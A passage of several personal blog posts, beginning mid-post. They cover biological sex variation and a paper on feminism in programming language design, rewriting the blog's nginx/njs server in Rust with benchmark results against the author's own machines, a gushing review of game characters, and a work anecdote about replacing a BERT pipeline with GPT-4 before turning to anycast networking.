However while useful, simplified models are still technically "incorrect". And the point I'm trying to make is that "correct" (or rather as correct as we know so far) is generally much more complicated than what you were initially taught in high-school.

Most areas of study are more complex and less "figured out" than what you would initially learn. Let's look at another example - the binary categorisation of sexes. No I'm not talking about gender (we're still not up to that), I'm talking about biological sex - body parts, hormones, genetics, etc.

While we traditionally think of sex as XX = female and XY = male, the reality is more complex (as it often is). There are XY people who can give birth and XX people who produce sperm, along with many other variations in genetics (XXY, XYY, X, etc.) and hormonal responses.

When scientists plot all these biological sex characteristics on a graph, they get what's called a bimodal distribution - two major peaks (traditionally labelled "male" and "female") with a range of variations between and around them. Historically, we've oversimplified this by forcing everyone into the two majority categories, but this approach is becoming problematic for medical research and treatment. For example, different groups respond differently to certain medications and environmental factors like dioxins, making it important to recognise these biological variations.

Again we're not talking about gender or transgender identity, but purely about biological characteristics. Like in the other fields we talked about, this probably doesn't matter for your day-to-day life and the simplified binary model is "mostly" fine since someone's sex really shouldn't matter to you, but it is incorrect, and for the scientific community, treating sex as a binary rather than a spectrum hinders scientific understanding and medical treatment. This isn't a new or ideological position - it's simply what the biological data shows when we look at it carefully.

For some extended reading, the book "Brain Gender" (2005) by Melissa Hines explains how brain structures don't follow a strict male/female binary. Instead, each brain region contains varying degrees of traditionally "male" and "female" characteristics. The paper - Joel D, McCarthy MM. (2017) "Incorporating Sex As a Biological Variable in Neuropsychiatric Research: Where Are We Now and Where Should We Be?" similarly discusses variation in brain structure beyond simple sex differences.

This paper on genetic complexity - Gregg C, Zhang J, Weissbourd B, Luo S, Schroth GP, Haig D, Dulac C (2010) "High-resolution analysis of parent-of-origin allelic expression in the mouse brain" used mouse brains to examine how genes are expressed differently depending on whether they came from the mother or father (genomic imprinting). By analysing both embryonic and adult mouse brains, they found over 1,300 locations where parental origin affects gene expression, with maternal genes being more active during brain development and paternal genes dominating in adult brains. While conducted in mice, this research reveals how genetic expression is more complex than simple XX/XY chromosomes, as genes can be activated differently based on their parental origin, developmental timing, and location in the brain.

And Springer KW, Mager Stellman J, Jordan-Young RM (2012) "Beyond a catalogue of differences: a theoretical frame and good practice guidelines for researching sex/gender in human health" takes a broader view, critiquing how sex differences are researched in human health. They argue that simply cataloguing differences between males and females is insufficient and potentially unscientific, suggesting instead that researchers need a more sophisticated theoretical framework for studying sex and gender in health contexts.

What's notable about these texts is that they come from different angles - neuroscience, genetics, and public health - yet all point to the same conclusion: biological sex is more complex than a simple binary, and treating it as such has real implications for medical research and treatment.

Right with that very important background information, let's get back on track. You came here for my relationship with a certain contentious concept. That concept of course being - programming language design.

You may remember an interesting paper that made the rounds in programming circles a few months ago - Hermans, Felienne and Schlesinger, Ari (2024) "A Case for Feminism in Programming Language Design." It's an interesting read that you should go through yourself, but I want to talk about what I took from it.

Considering modern feminism has moved past from being solely about women's rights and into a study of power dynamics in society, I thought this paper would be about exploring power dynamics in programming languages (i.e. what do we allow and forbid the user to do, how that affects the end result and whatnot) through the lens of feminism. But it's actually more of a demographic study of the programming language community and examines how the demographic makeup shape languages in certain ways (most of them bad, as the paper argues).

Which in my opinion is a little less interesting, but that's fine, maybe someone else will do the former at some point in the future.⁽⁴⁾

Anyway, the grounds of the feminist critique are what we could call a critical history - an approach to studying the past that fundamentally differs from traditional historical analysis. Rather than simply documenting what happened, critical history examines how our ways of thinking and understanding have developed over time. It suggests that what we consider "knowledge" or "truth" in any period isn't universal or timeless, but is shaped by the social, political, and cultural forces of that era.

Think of it this way: When we study calculus today, it seems like a set of objective mathematical truths that were discovered rather than created. A critical historian would instead examine how calculus emerged from specific needs and thought patterns of 17th century Europe, how its development was influenced by the philosophical and religious beliefs of the time, and how the way we think about it now might be different from how it was originally conceived.

This approach questions the idea that knowledge and reason develop in a straight line of progress toward greater truth. Instead, it suggests that what we consider rational or logical thinking is itself a product of particular historical circumstances. Traditional history might tell us what Newton discovered; critical history asks us to examine the entire framework of thinking that made Newton's discoveries possible and shaped how they were understood.

Taking this critical history approach to programming languages, we can examine how the field's foundational assumptions emerged from specific historical contexts - exactly what the article's author encountered with their work on spreadsheets.

The paper explains how the programming language community socially constructs what counts as a "real" programming language. Despite spreadsheets being Turing complete (technically capable of all computation), they were consistently dismissed as "not real programming languages." Meanwhile, the definition remained fluid for other technologies - Python evolved from being considered "just a scripting language" to a "real" programming language, and UML appears in books about programming language history despite its contested status.

This reveals how the boundaries of what constitutes a programming language aren't determined by purely technical criteria, but by social power structures within the academic and professional computing communities. This gatekeeping particularly affects early-career researchers who work on "non-traditional" programming languages - they can't participate in the programming language research community because their work has been defined as outside the field's scope.

It also questions why programming language research heavily favours formal proofs over human studies, despite both approaches being valid in the related field of software engineering. This methodological preference isn't a natural or inevitable choice - it reflects specific values and assumptions about what constitutes valid knowledge in the field. While software engineering embraces a range of research methods from formal proofs to qualitative studies and user observations, programming language research remains more narrowly focused.

These patterns reveal how the field of programming languages isn't just a set of technical tools, but a social construct shaped by historical circumstances and power structures. The paper argues that feminist theory provides useful tools for analysing these structures because feminism has extensive experience studying and challenging similar systems of power in other contexts - from voting rights to financial access. This doesn't invalidate the technical achievements in programming language design, but rather provides a framework for understanding how social and historical contexts have shaped what we consider valid or valuable in programming language research and design.

Now, swap out "programming language research" for "everything" and you got your answer to the question of this blog post. You're welcome, I'm glad I could help :)

I think that's all for today, see you next year.

Epilogue

I don't really have any to say about my 5 month absence on this website, I think I've warned you enough last year that posts will become rarer. They will come out when the come out, but you're guaranteed at least one a year (this one).

Anyway, have you played Titanfall 2? Holy smokes that game fucking rocks. I thought I wouldn't like it because I didn't like Apex Legends and surely my obsession with Ultrakill would make me hate any other movement shooter as no other could compare to that Finnish masterpiece.

But no, it's fucking incredible. The schmovement. The set pieces. The shooting. Like holy shit. It's so good.

My only complaint is that embarking into your titan is too context-sensitive. Like you have to walk up to the guy, find the right spot, and press E. I want to fucking wall ride and jump into that guy's face and make him catch me or something, that'd be sick. It really kills the flow without something like that.

And I'm not joking - that is my ONLY complaint, literally everything about the game is perfect.

But yeah I originally played it because Deadlock is pretty much dead right now in Oceania, and I really needed to fill my movement shooter fix. I played like one game of Marvel Rivals and uninstalled because it felt like complete shit to play,⁽⁵⁾ so I looked into my backlog and found my new saviour.

Also on the Steam cover art of Titanfall 2, there's a titan wall running, but like… that never happens? You can't jump in the titan, so it can't wall run. Actually I have a second complaint and it's that. I want titan schmovement. And it should be EXACTLY like Armored Core VI.

So Respawn Entertainment, now that Apex Legends is dying, it's time to make Titanfall 3.

You may already be aware that in the past month I've been on a warpath agressively optimising this blog. You can look at the past posts in this "Meta" series if this is news to you or you need a refresher.

But it's not just optimisations I've been trying to do. It's also general code improvements; getting rid of things that make me a little "uncomfortable."

And you know what makes me really uncomfortable?

JavaScript.

This Svelte version of the blog was made before Svelte supported TypeScript, so it goes that this blog was written almost entirely in plain, un-typed JavaScript.

That is a big no-no for me these days to say the least. And was also a no-no for those days as well actually, but I couldn't do anything about it back then.

Unsurprisingly, a complete conversion to TypeScript didn't take any longer than a day which leaves me wondering why I didn't do it earlier but it is what it is. There isn't much else to say about this so let's move on.

So then, what's next in the "makes me uncomfortable" list?

TypeScript.

More specifically, the remainder of the code written "almost entirely in plain, un-typed JavaScript." More specifically, the njs script for nginx that I wrote in TypeScript.

I've covered what I use njs for several times before on this blog but to put it simply, it's mostly been a way to handle dynamic elements of the blog without using client-side JavaScript by injecting HTML into the page as it's served to you from nginx.

I don't like how it's written in JavaScript. I know they use a special subset of JavaScript to keep performance, but even with the added static types in TypeScript, it's still JavaScript. The idea that my web server is running JavaScript is just… gross.

It makes me uncomfortable.

There are Rust bindings for nginx which is great, but another reason for njs making me uncomfortable is that I don't really understand nginx. A while ago I found out my njs script was very slightly broken in weird ways that stem from me not understanding how nginx requests and buffers work.

You could consider this a skill issue. And that maybe I should just learn how to write nginx extensions properly then. To that I say, "no thanks I can't really be bothered, could you please leave my apartment now?"

Also I didn't write nginx, so do I really know if it sucks or not? I know if I wrote my own web server it wouldn't suck because I don't write sucky code. But I can't give that guarantee to nginx as I haven't done any code reviews for them. Hmm really makes you think, huh?

No but seriously, I would like to have more control over the web server and this is as good as an excuse as any to drop nginx in favour of our crab god, doing my part to further the inevitable carcanisation of the universe and reality itself as we too rewrite ourselves to become blazingly fast and memory safe with fearless concurrency.

First let's get a few benchmarks going, because if it turns out I write sucky code that is like two times less performant than nginx,⁽¹⁾ I'm going to quit my job, give all the equity I own to the Red Panda Network, and sacrifice myself to the ocean where I will become food for Them, the next most useful thing a failed Rust main could be.

This benchmark is for my nginx config as it is now with the njs extension doing its thing.

$ rewrk -h http://127.0.0.1/post -t 12 -c 60 -d 5s
Beginning round 1...
Benchmarking 60 connections @ http://127.0.0.1/post for 5 second(s)
  Latencies:
    Avg      Stdev    Min      Max
    10.54ms  8.58ms   0.04ms   144.78ms
  Requests:
    Total:  16272  Req/Sec: 3253.89
  Transfer:
    Total: 1.51 GB Transfer Rate: 309.51 MB/Sec

16316 Errors: received unexpected message from connection
6 Errors: channel closed

I'm using the benchmarking tool rewrk against the /post route (I wanted a bigger page than /) with -t 12 threads and -c 60 connections for -d 5 seconds. It's a very small benchmark, but good enough for our purposes.⁽²⁾

For another data point let's look at Static Web Server which is another web server written in Rust. Originally, I wanted to move to something like this instead, but I couldn't find anything that allowed me to extend it like nginx, so this bench is without any of the dynamic processing that normally happens with njs.

$ rewrk -h http://127.0.0.1/post -t 12 -c 60 -d 5s
Beginning round 1...
Benchmarking 60 connections @ http://127.0.0.1/post for 5 second(s)
  Latencies:
    Avg      Stdev    Min      Max
    11.02ms  7.53ms   0.34ms   119.56ms
  Requests:
    Total:  27170  Req/Sec: 5433.98
  Transfer:
    Total: 4.40 MB Transfer Rate: 902.13 KB/Sec

So latencies are a little worse in general, but requests are way up and yet total transfer is way down. This is a little strange and I'm guessing has something to do with all the errors we were getting with the nginx test.

Interesting.

I'm also curious about Caddy which is the latest hotness in the realm of web servers. It doesn't have njs-like extensions as well but it's always good to have another data-point.

$ rewrk -h http://127.0.0.1/post -t 12 -c 60 -d 5s
Beginning round 1...
Benchmarking 60 connections @ http://127.0.0.1/post for 5 second(s)
  Latencies:
    Avg      Stdev    Min      Max
    12.71ms  8.96ms   1.00ms   83.71ms
  Requests:
    Total:  23556  Req/Sec: 4711.02
  Transfer:
    Total: 2.30 GB Transfer Rate: 471.36 MB/Sec

Honestly, that's better than what I was expecting from something written in Go. I know many people call Caddy "fast" but that's usually from [SLUR REDACTED] gophers who don't know how to write performant code or understand why a language that ignores decades of progress in programming language research isn't actually that fast, so I always assumed they meant "faster than NodeJS" which is not a very high bar to clear.

So the fact that Caddy is this close to the others is commendable. They have done a good job here.

Now let's look at nginx without the njs extension to better compare with these two.

$ rewrk -h http://127.0.0.1/post -t 12 -c 60 -d 5s
Beginning round 1...
Benchmarking 60 connections @ http://127.0.0.1/post for 5 second(s)
  Latencies:
    Avg      Stdev    Min      Max
    3.24ms   0.93ms   0.98ms   17.19ms
  Requests:
    Total:  92561  Req/Sec: 18513.12
  Transfer:
    Total: 8.56 GB Transfer Rate: 1.71 GB/Sec

60 Errors: connection closed

Wait a minute, what the fuck is this? Are you seeing this chat? Holy shit.

Why is this so much faster then the others? I thought njs wasn't supposed to have that big of an impact on performance. What the heck?? There must be yet more I'm doing wrong with njs. But again, can't really be bothered to figure it out so I'm going to move on from this.

Right, now that we have our benchmarks let's start work on our new web server (I mean it's entirely mine, but I want you to feel included). Here's the absolute bare minimum we need to get the blog running on axum, a popular web framework for Rust.

use axum::Router;
use std::net::SocketAddr;
use tower_http::services::ServeDir;

#[tokio::main]
async fn main() {
    axum::serve(
        tokio::net::TcpListener::bind(SocketAddr::from(([127, 0, 0, 1], 80)))
            .await
            .unwrap(),
        Router::new().nest_service("/", ServeDir::new("../build")),
    )
    .await
    .unwrap();
}

And the benchmark.

$ rewrk -h http://127.0.0.1/post.html -t 12 -c 60 -d 5s
Beginning round 1...
Benchmarking 60 connections @ http://127.0.0.1/post.html for 5 second(s)
  Latencies:
    Avg      Stdev    Min      Max
    2.76ms   1.26ms   0.19ms   17.59ms
  Requests:
    Total: 108650  Req/Sec: 21729.41
  Transfer:
    Total: 10.69 GB Transfer Rate: 2.14 GB/Sec

I had to specify the route as /post.html instead of /post because the server doesn't do any URL cleaning. Now is this extra work that axum didn't have to do giving it a small unfair advantage? Probably. But it also probably doesn't matter that much.

Anyway, this is pretty good but I'm half disappointed when you consider that adding to it is only going to make it worse. It kinda makes me want to shop around for a faster framework like ntex but remember, we're not here to beat nginx, we're here to beat (or at least not be too far from) nginx with njs and that's looking very achievable.

So here's a non-exhaustive list of things we need to add to be feature equivalent to what I configure nginx for:

• HTTPS/2
• Cache headers
• Gzip/Brotli compression
• Rate limiting
• URL cleaning
• Keepalive timeout
• Dynamic content (njs replacement)

Thankfully this isn't actually very much work because most of these are avaliable as Tower middleware I can plug into axum. I'm not going to do a deep dive into the code because it's not that interesting. You can go see the entire 500 lines of nbymx (that's its name) for yourself here.

Now what's the benchmark looking like?

$ rewrk -h http://127.0.0.1/post -t 12 -c 60 -d 5s
Beginning round 1...
Benchmarking 60 connections @ http://127.0.0.1/post for 5 second(s)
  Latencies:
    Avg      Stdev    Min      Max
    4.52ms   2.24ms   0.40ms   50.89ms
  Requests:
    Total:  66282  Req/Sec: 13255.76
  Transfer:
    Total: 6.55 GB Transfer Rate: 1.31 GB/Sec

Huh, that's a lot better than I thought it would be.

I assumed I would get similar results to Static Web Server since they're both built on hyper,⁽³⁾ which is why I was in retrospect not aiming very high by just wanting to be near in performance to njs. But to be over twice as performant (in this very small and specific benchmark)? I guess this is what I meant by saying I can't trust other people to write code that isn't sucky.

Ok that's enough, I need to come clean to you about something. I lied about not having anything to say about the code in nbymx. I just wanted you to look at it first, that way you'll be more used to seeing Rust code and thus more willing to accept Them into your heart.

I put more thought into the cache control headers. If HTML files are cached like they were before with nginx you won't be getting new assets even if they're cache busted because the links to all the other assets wouldn't have changed in the cached HTML. Now I set HTML to no-cache which makes the browser validate them with nbymx before using the cache.

The server validates the browser cache with the ETag header,⁽⁴⁾ which is sent in the response for files. This is normally a hash of the file, but can really be anything. I tried to use etag crate to generate ETag as hashes from the file but that added around a millisecond of latency, which was unacceptable. The ETag is just the content length now. I know nginx uses content length and last modified time, but I don't think there will be many situations where I change a page and it stays the same size so it's fine.

It was also interesting to get TLS implemented. I know TLS is supposed to be a protocol that just runs on top of any transport (in a different layer of the OSI model), but I never properly understood that it really is just putting it on top of the transport.

I had to go a lower level API in hyper for HTTPS connections, but the code here basically is just, "do the tls handshake" then "do the http request."

let Ok(stream) = tls_acceptor.accept(cnx).await else {
    error!("error during tls handshake connection from {}", addr);
    return;
};

let ret = hyper_util::server::conn::auto::Builder::new(TokioExecutor::new())
    .serve_connection_with_upgrades(TokioIo::new(stream), hyper_service)
    .await;

I dunno, for some reason I always imagined it being a bit more involved then this even with tls_acceptor doing all the heavy lifting by actually encyrpting it.

Next, I thought it would be cool to add Prometheus metrics to the server. They're publically accessible so you can see the metrics (for your b8s node) at /metrics. I plan to collect and display these in some way on the status page.

I guess this technically counts as analytics, so it seems like I've finally added them. I mean it's no big deal, I didn't actually set out to have a "no analytics" rule and wouldn't have had a problem with just parsing nginx logs or something,⁽⁵⁾ I just wasn't bothered to do it before.

I realise that's becoming a common theme on this blog now.

Epilogue

I've done a bit more research on njs to find answers on why my module degragded performance by so much. And by research I mean I just watched the talk "NGINX JavaScript in Your Web Server Configuration" which goes through everything.

The section I was most interested was this slide called "Why is njs fast?"

• Register based VM.
  • Small memory footprint.
• UTF8 strings, bytes string optimizations.
  • ECMASscript spec require UTF-16.
• Disabled garbage collection.
  • Instead cloned VM is destroyed at once.

So it looks like njs is interpretered in a similar way to Python where it compiles bytecode to be read as a VM. I think the general design makes a lot of sense, keep a strict subset to reduce overhead and tailor it to the nginx runtime.

Then the problem was certainly with me and not njs right? I mean, it seems like njs would start falling apart when you start trying to do more complicated things (which is why there are plans to introduce an alternative JS engine), but I was not doing anything complicated, it was literally just a find and replace.

For reference, removing the same thing in nybmx does not provide a noticable improvement. It is not a computationally expensive thing to do.

Fine, let's do a little bit more debugging. How about we instead benchmark it with one of the njs examples nginx gives instead of what I was doing. How about this function to convert the body to lowercase?

function to_lower_case(r, data, flags) {
  r.sendBuffer(data.toLowerCase(), flags);
}

export default { to_lower_case };

That's the entire script. Literally 4 lines. This has to run well, surely nginx themselves wouldn't provide a bad example.

$ rewrk -h http://127.0.0.1/post -t 12 -c 60 -d 5s
Beginning round 1...
Benchmarking 60 connections @ http://127.0.0.1/post for 5 second(s)
  Latencies:
    Avg      Stdev    Min      Max
    13.76ms  6.49ms   2.42ms   61.57ms
  Requests:
    Total:  21750  Req/Sec: 4349.83
  Transfer:
    Total: 2.13 GB Transfer Rate: 435.91 MB/Sec

WHAT!? WHY IS IT STILL SHIT AND HOW ARE THE LATENCIES WORSE????

That must be a mistake, let's do it again.

$ rewrk -h http://127.0.0.1/post -t 12 -c 60 -d 5s
Beginning round 1...
Benchmarking 60 connections @ http://127.0.0.1/post for 5 second(s)
  Latencies:
    Avg      Stdev    Min      Max
    13.94ms  7.05ms   3.03ms   69.99ms
  Requests:
    Total:  21482  Req/Sec: 4296.23
  Transfer:
    Total: 2.10 GB Transfer Rate: 430.57 MB/Sec

I give up. There aren't any errors for me to look at and say I did something wrong. I guess it just sucks.

So then it's confirmed for real; everyone writes shit code except for me.

Update 2024-08-18: A reader thought I should have benchmarked Go's standard library HTTP server as well. I think that's a great idea, punching down is always fun to do.

$ rewrk -h http://127.0.0.1/post.html -t 12 -c 60 -d 5s
Beginning round 1...
Benchmarking 60 connections @ http://127.0.0.1/post.html for 5 second(s)
  Latencies:
    Avg      Stdev    Min      Max
    1.77ms   2.40ms   0.06ms   45.05ms
  Requests:
    Total: 169711  Req/Sec: 33940.34
  Transfer:
    Total: 16.70 GB Transfer Rate: 3.34 GB/Sec

Uhhhhhhhhh……

You know these benchmarks are genuinely pretty small and not at all indicative of real load for high traffic. Let's really fucking stress test it and bump it up to 200 connections on 30 threads for 30 seconds.

Keep in mind that I've had to move the rewrk command to run on my Linux server because it now goes over the open file limit in MacOS. The servers are still running on the same M2 MacBook but the requests are going over a LAN instead of being local, which would have big affect on the results.⁽⁶⁾

$ rewrk -h http://10.0.0.4/post.html -t 30 -c 200 -d 30s
Beginning round 1...
Benchmarking 200 connections @ http://10.0.0.4/post.html for 30 second(s)
  Latencies:
    Avg      Stdev    Min      Max
    1542.36ms  1274.95ms  100.07ms  10176.23ms
  Requests:
    Total:  3661   Req/Sec: 122.03
  Transfer:
    Total: 377.36 MB Transfer Rate: 12.58 MB/Sec

Okay, now we just need to bench nbymx again for a proper comparison. Fingers crosse- I mean, this is a completely unbiased benchmark, I am taking the neutral posistion and not rooting for any server.

$ rewrk -h http://10.0.0.4/post -t 30 -c 200 -d 30s
Beginning round 1...
Benchmarking 200 connections @ http://10.0.0.4/post for 30 second(s)
  Latencies:
    Avg      Stdev    Min      Max
    1095.26ms  996.47ms  64.41ms  9934.41ms
  Requests:
    Total:  5238   Req/Sec: 174.59
  Transfer:
    Total: 538.67 MB Transfer Rate: 17.95 MB/Sec

Oh thank fuck. I love benchmarking.

For funsies, let's look at Static Web Server and Caddy again (I am not bothered to setup nginx once more).

This is Static Web Server.

$ rewrk -h http://10.0.0.4/post -t 30 -c 200 -d 30s
Beginning round 1...
Benchmarking 200 connections @ http://10.0.0.4/post for 30 second(s)
  Latencies:
    Avg      Stdev    Min      Max
    1454.31ms  1442.76ms  68.78ms  12660.38ms
  Requests:
    Total:  3867   Req/Sec: 128.89
  Transfer:
    Total: 398.24 MB Transfer Rate: 13.27 MB/Sec

And this is Caddy.

$ rewrk -h http://10.0.0.4/post -t 30 -c 200 -d 30s
Beginning round 1...
Benchmarking 200 connections @ http://10.0.0.4/post for 30 second(s)
  Latencies:
    Avg      Stdev    Min      Max
    1579.78ms  1506.73ms  81.18ms  11136.93ms
  Requests:
    Total:  3567   Req/Sec: 118.89
  Transfer:
    Total: 368.27 MB Transfer Rate: 12.28 MB/Sec

Phew… we had a little scare there, but everything is in it's right place once again and the Go programs are exactly where they should be.

At the bottom of the benchmarks.

You won't remember a thing except me.

• Kafka

Clickbait title: Justin's Most Deranged Blog Post Yet

It has been one year since Mommy Kafka Gave Me A Gambling Addiction and my obsession has only become worse.

I pulled for Kafka two more times and got her light cone during the banner re-run last January. I plan to do this again on the next re-run.

I put Kafka on my leverless.

I cuddle with my cat Kafka bean cake plushie.

I "cuddle" with my Kafka body pillow.

[IMAGE REDACTED]

I named my cat after Kafka.

I named the b8s node closest to me after Kafka.⁽¹⁾

Mon esprit n'est que Kafka.

But… it's not… enough. I need more! I need more Kafka.

SO WHERE IS SHE? WHERE DID SHE GO?

Why have I not seen her since the first chapter of the Luofu arc MiHoYo?? I NEED TO SEE HER AGAIN.

YOU'VE MADE THE PERFECT CHARACTER. Why are you even bothering with other characters let alone GAMES??

Wait… you made a whole new game? I can't see my mum because you were too busy MAKING THIS FUCKING GAME??????

Ok, ok, calm down me. Maybe is she in the new game?

No.

Is there anyone who looks or acts like her in it?

No.

mfw no Kafka.

But to be fair, game looks kinda fun. Maybe I will find a new Kafka!

Yes! That's what this post is about!! Going through the characters in the hot new gacha game Zenless Zone Zero (ZZZ) and finding a new Kafka! Isn't that exciting!!! You are very excited right now!! You are sweating with anticipation! Right on the edge of your seat!! TREMBLING WITH A BURNING DESIRE TO FIND A NEW KAFKA! You WANT to know if I will find a new Kafka!! You MUST know if I will find a new Kafka!!!!!

Please don't leave, this is important to me and I wish for you, my best friend, to support me in this endeavour.

Okie thanks for sticking around, let's go through ALL the characters and see if we can find a new Kafka!! YAY!!

Wait a minute… oh my Bidoof… is that- is that… a brown Asian cat girl??!!

Excuse me!!?

Oh… she just like me… SHE JUST LIKE ME FR!!!!

Wow, a Southeast Asian⁽²⁾ in my Chinese video game? That's so crazy, I didn't even know that they knew of our existence (THIS IS A JOKE. I'm well aware of the "things" that have been and are happening).

So with a few 5 star/S tier agents, like Nekomata here, you get to go through "Agent Stories" which are quests that delve deep into the story of specific agents.

Nekomata has my favourite Agent Story so far. Every Agent Story, except for Soldier 11's (I'll get to her), uses an NPC as a sort of foil. They're usually utilised by the writers to reveal the Agent's internal conflicts and driving forces, and I think this was done best with Nekomata and Ollie.

This isn't really the place to recap the entire story, but in broad strokes; They developed one another in a compelling way, which created an engaging mini-narrative and added depth to Nekomata that would persist in future stories. Ollie's story enhanced Nekomata's by contrasting with her past struggles and her desire to be acknowledged by her family, which was evident at the beginning of the chapter where she was at odds with Anby (I'll get to her).

Wait, this is looking like an actual critique… sorry, let's get back on track.

UMM ALSO I THINK…

I THINK NEKOMATA IS CUTE AN- Oh no sorry, what I mean is, I think she is uhhh, adorable and amusing.

The one thing I'm not super down for is that she's too happy and extroverted. That's not like me at all, I can't relate to that. It's also not very cat-like.

I mean, have you met a cat before?? They are NOT extroverted. Kafka (my cat) is deeply terrified of every new person that comes to my apartment. She's a little curious at first, but eventually just runs away.

Hang on, that's what I do as well…

Oh… she just like me… SHE JUST LIKE ME FR!!!!

Anby (I got to her) is the cooler Soldier 11 (I'm still getting to her).

I like her because she has the sword like Raiden (from Metal Gear). And when she ults, she does the pose like Raiden (from Metal Gear). And she does lightning related things like Raiden (from Metal Gear). And when she runs, she deflects bullets automatically by wooshing her sword around like Raiden (from Metal Gear). And she has white hair like Raiden (from Metal Gear). And she seems like she'd have a dark past as a child soldier like Raiden (from Metal Gear). And she's definitely the type to return as a cyborg ninja in the follow up to one of the most meta-breaking narratives ever put in a video game before and since that probably shouldn't have gotten a follow up, because how tf are you actually supposed to follow that up without making several retcons and contradictions with past and future games but it's fine, I still love it because of the big robot fight and subsequent old man fist fight on the boat where they do the nostalgia bait with the music, like Raiden (from Metal Gear). And she's cute like Raiden (from Metal Gear).

I like Raiden (from Metal Gear), thus it follows that I like Anby (from Zenless Zone Zero).

Unfortunately as an A rank agent, she doesn't have an Agent Story so I can't talk about it, but I'm sure we'll see more of her in the future so there'll be more opportunities to learn about her. Also her name sounds like enby. I'm counting that as another representation win for me.

I LOVE LYCAON.

I LOVE LYCAON.

I LOVE LYCAON.

I've been watching Ster for over 10 years, and I finally understand what he's been talking about all this time.

FURRIES ARE COOL AF.

And Lycaon is especially cool because his stat type is literally ice. I am very clever.

I love his whole design, from the robots legs that have thrusters attached, to his… whatever that is on his face, to his big fluffy tail!

His storyline was great. While having the proper, formal gentleman being haunted by ghosts of a dark and mysterious past is a little trope-y (but it makes sense for stories in this game to be trope-y, with the whole "cinema" theme), I think it was well executed here, again with the help of an NPC foil.

It gave as an intriging picture of his past and while staying open ended so we could look forward to see how it continues in the future.

If there's one critisism I have with him, it's that he's too sound of mind and I don't like that in people, it's boring. He seems to be regretful of his past, so he might have been a little more spicy back then. We'll see when they continue his story (they fucking better, or else).

Also for tax purposes I am now stating that my fursona is a red panda.

Rina was the person who I originally thought would be most likely to be able to replace Kafka. Probably from the mommy vibes.

I dunno, she's fine.

Her Agent Story was good, even if giving someone sci-fi dementia is always a kinda cheap way of getting sympathy,⁽³⁾ it was still touching. I think seeing how Rina did her job as a maid for the NPC foil (like Lycaon) went a long way to characterise her. And her backstory about her bangboo doll was very bittersweet.

But as the initial hope as the new Kafka, the expectations of her from me were probably too high. Add that to the fact that she seems like she's just straight up a nice and good person and isn't very manipulative and morally gray like Kafka is, and she starts disappointing.

I know it's not really her fault she got over-hyped in my head and had to be compared to literal perfection. But it is what it is.

What the hell, why did they have to make the most attractive character a cop? That's so lame. I can't simp for a cop. I know Kafka is a mass-murdering criminal but I'm sorry, on the scale of things I can tolerate, the line stops at the police.

So you might then wonder why pulled for her.

And that's because she's fun to play. I mean just look at this.

Like holy hell, why did they put handlebars on her ass? That's fucking awesome stupid.

No but actually, she is unironically fun to play. Her fighting style is a treat. Everything about her gameplay is just pure gun fu.

The over the top effects and explosions everywhere, the high mobility of her guns to create a fluid mix of martial arts and guns in her moveset. As much as I hate to admit it, her being a cop is thematically appropriate with the Hong Kong action cinema she is inspired by so it makes a lot of sense.

But enough about that, I think I'm going to need to prove I'm not a sexist and misogynist, so we're going to talk about her personality too.

So, she's… uh… a cop right?

And she… works hard.

And she… is… a nice person that cares about justice… or whatever it is that copaganda usually tries to tell you.

Ok got all that? Great.

To end, I thought it'd be really funny and clever to call her "lipstick on a pig," but like…

I have never been so conflicted before in my life.

I love Grace because she is obsessive over her robots and robots in general, to the deteriment of all her human connections and relationships.

Oh… she just like- no, I'm not doing that again.

But her Agent Story is literally about how you should love your tools and treat them with care so they do a good job. At least, I'm pretty sure that's what it was about. I might be projecting.

But I totally get what she's talking about, let me tell you a story.

So over two years ago for work, I was tasked with a very simple project to get emails from an inbox and import them into our system if they were a press release, along with information about who the press release came from.

Haha yeah I say simple, if you're a programmer you'd know - that is not simple.

Anyway I came back with a teleo-reactive inspired system that acted as a sort of autonomous agent for the problem. I trained a BERT model from hundreds of thousands of press releases already in our system to determine if a piece of text was a press release. If the email itself wasn't a press release but a link to it, I setup a whole bunch of heuristics to find the link to the press release in the email. And I used named-entity recognition and some more heuristics to determine who to assign to the press release.

This was probably my magnum opus. Like there are so many edge cases to literally every email, that there basically aren't any edge cases, it's all edge. And I got around an 80% accuracy with this in two weeks and around 800 lines of code.

That's been humming along great for two years but at some point, I had a realisation. All of this could have been done with an API call to GPT-4, and it probably would have been more accurate.

I did a quick tests on GPT-4 with emails that the system failed to ingest and yeah, GPT-4 could figure them all out.

So when I got another two weeks to improve the system a few months ago I had a choice to make, I could either spend more time on getting small benefits from making adjustments to the BERT model and my heuristics, or I could just rip its guts out and replace them with the soulless blackbox from OpenAI for what I was certain would be a big increase in accuracy.

Seeing over 400 red lines in the GitHub diff viewer hurt me on a spiritual level I have never felt before. I murdered my child.

For what?

Getting a 95% accuracy rate, and one that is much easier to adjust and improve?

Yeah actually, that was probably worth it. Or at least that's what I keep telling myself. Sure, it's now over twice as expensive to run as it was before, but system had become critical to the business so everyone was apparently okay with that.

But I don't like relying on other people (or rather, their code), especially when I have no oversight into it and it's hard to understand what it's doing. And it made me feel like I failed in some way. Like I wasn't good enough to keep it alive.

I've never felt real phantom pain, but I imagine this is what it's like. Yeah… this is for sure going to get me on r/programmingcirclejerk.

Anyway for a more recent example (we aren't done here, you will read my trauma dumping), quite literally the day after I posted about my geolocation infrastructure, I learnt about anycast networking and had my entire being yeeted into the astral plane, as I disassociated from the very idea of having to dropkick my dear, lovely DNS servers into the aether.

I was going to make another post about it, but here's probably fine right? I'm sure you won't mind.

So in an anycast configuration, multiple servers located in different geographic regions share the same IP address. This means that when a user sends a request to the anycast IP, the request is routed to the nearest or best-performing server based on current network conditions. The decision on which server to route to is made dynamically by the existing network infrastructure, using routing protocols such as the Border Gateway Protocol (BGP).

BGP would also be able to effectively act as my load balancer and failover mechanism (something I don't have and have been planning to add to b8s) as when one server fails or becomes unreachable, the network would start redirecting traffic to another without any input from me or my code.

This is a clear improvement over my solution of geolocation routing. It is less code for me to write (thus being less likely I fuck something up) and theoretically simpler to implement. It's the GPT-4 situation all over again. But… my DNS servers, I put so much love into you, I can't give up on them ;(

Ok so I say theoretically simpler to implement, I'm just assuming getting an IP address and assigning routing tables is simple. What's it actually take to do this thing?

So to set up an anycast network you first need an Autonomous System Number (ASN). This is a unique identifier used by other Autonomous Systems (AS) to announce paths to reach your network via BGP. ASNs are managed by five Regional Internet Registries (RIRs), each responsible for overseeing ASNs within specific geographic regions of the world.

After going through the website for the Asia Pacific Network Information Centre (APNIC) which would be my RIR, it seems like I would need to be an organisation to apply for an ASN. Now I technically own a business, but it is a sole tradership so I don't think that would count.

